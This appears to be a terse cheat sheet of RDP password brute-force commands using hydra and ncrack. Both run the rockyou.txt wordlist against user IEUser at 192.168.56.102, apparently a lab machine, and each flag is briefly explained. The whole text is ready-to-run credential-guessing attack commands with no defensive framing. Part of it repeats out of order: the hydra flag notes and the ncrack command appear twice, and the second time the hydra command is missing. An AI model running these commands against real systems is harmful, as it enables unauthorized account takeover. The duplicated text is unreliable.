hydra -t 4 -V -l IEUser -P /root/Desktop/Password/rockyou.txt rdp://192.168.56.102
-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389
ncrack -p 3389 -v -user IEUser -P /root/Desktop/Password/rockyou.txt 192.168.56.102
-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list
-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389
ncrack -p 3389 -v -user IEUser -P /root/Desktop/Password/rockyou.txt 192.168.56.102
-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list